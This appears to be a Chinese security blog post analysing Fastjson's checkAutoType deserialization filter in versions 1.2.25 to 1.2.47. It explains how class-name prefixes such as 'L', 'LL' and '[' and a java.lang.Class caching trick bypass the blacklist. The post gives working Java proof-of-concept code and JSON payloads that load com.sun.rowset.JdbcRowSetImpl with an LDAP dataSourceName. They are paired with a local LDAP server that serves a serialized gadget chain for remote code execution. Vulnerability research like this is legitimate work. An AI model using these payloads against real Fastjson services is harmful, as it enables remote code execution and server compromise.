前言
第二次和这玩意对线了,第一次是23年中。这次终于懂了。
概述
参考:https://xz.aliyun.com/t/7027
1、自1.2.25之后,多了个checkAutoType方法。这个方法的位置:在parseObject里,扫描到@type后准备获取class之前。
2、checkAutoType方法的作用:检查不合法的类,若类合法,最后返回一个Class,用于后续创建对象。
3、在checkAutoType里,调用了很多次三种方法:
TypeUtils.getClassFromMapping(typeName)
deserializers.findClass(typeName);
TypeUtils.loadClass(typeName, defaultClassLoader); // 第二个参数在checkAutoType方法中是null
|
getClassFromMapping作用:从一个静态变量mapping里根据typeName取出class对象。
findClass作用:在一个成员变量buckets里根据typeName取出class对象。
loadClass作用:若typeName以[
开头,或以L
开头且分号结尾,都去掉头尾这些字符。再类加载typeName,再将加载得到的class对象和typeName put进mapping。
4、我debug分析一会后,独立写出了一种针对于41、42、43版本的poc。无需手动设置autoType为true。与25-47的通杀poc本质相同,但路径有些许不同。
checkAutoType
在1.2.25中,该方法逻辑概括如下,各版本变更都用注释标出。
// 1.2.42增加1、若类名长度<3或>128,则抛异常 // 1.2.42增加2: 检查类名开头是否是L和结尾是否是分号,若是则都去掉。这导致了双写绕过 // 在1.2.43中修改双写绕过的逻辑:由去掉开头的L和结尾的分号修改为:若开头是LL且结尾是;;,则异常,若开头是L且结尾是;,则去掉L和分号。但是没有注意到 [ 这个符号可以绕过。 // 在1.2.44中:直接不允许 L和[ 开头
if (autoTypeSupport || expectClass != null) { // 先检查白名单,符合白名单则直接返回 // 再检查黑名单,符合则抛异常 // 从1.2.42 开始,这里的黑名单由明文变成了哈希 }
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) { clazz = deserializers.findClass(typeName); }
if (clazz != null) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; }
if (!autoTypeSupport) { // 先检查白名单,符合白名单则直接返回 // 再检查黑名单,符合则抛异常 // 从1.2.42 开始,这里的黑名单由明文变成了哈希 }
if (autoTypeSupport || expectClass != null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); }
if (autoTypeSupport || expectClass != null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); } /* 在41版本中,上面两个if合并修改为如下的: if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } */ ...
if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } return clazz;
|
unk’s poc
主要在41 42 43 版本可打。
原理:执行两次checkAutoType,第一次进入TypeUtils.loadClass,让JdbcRowSetImpl被put进mapping。第二次则可以从TypeUtils.getClassFromMapping获取到JdbcRowSetImpl了。
public static void main(String[] args) throws Exception{ String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"}"; //41 //String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"}"; //42 //String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"}"; //43 System.out.println(PoC); try{ JSON.parse(PoC); }catch (Exception e){
} Object pojoNodeChainPoc = Gadget.getPOJONodeChainPoc("fj_1_2_25to1_2_41.Poc1"); new LDAPServer(17777, Util.serialize(pojoNodeChainPoc)).start(); PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:17777/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }
|
25-47 通杀
主思路仍是想办法先执行TypeUtils.loadClass
,后面就可以从getClassFromMapping
获取。
public static void main(String[] args) throws Exception{
String PoC = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}"; System.out.println(PoC); JSON.parse(PoC); Object pojoNodeChainPoc = Gadget.getPOJONodeChainPoc("fj_1_2_25to1_2_41.Poc1"); new LDAPServer(17777, Util.serialize(pojoNodeChainPoc)).start(); PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:17777/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }
|
第一次parse时,获取到Class,准备进行deserialze。
在deserialze中,会对JSON里的val字段loadClass。
loadClass加入mapping,那么第二次checkAutoType就能获取jdbcrowset。
由于第一次parse不会抛出异常,那么两个json可以合并为一个,就是网上常见的通杀poc。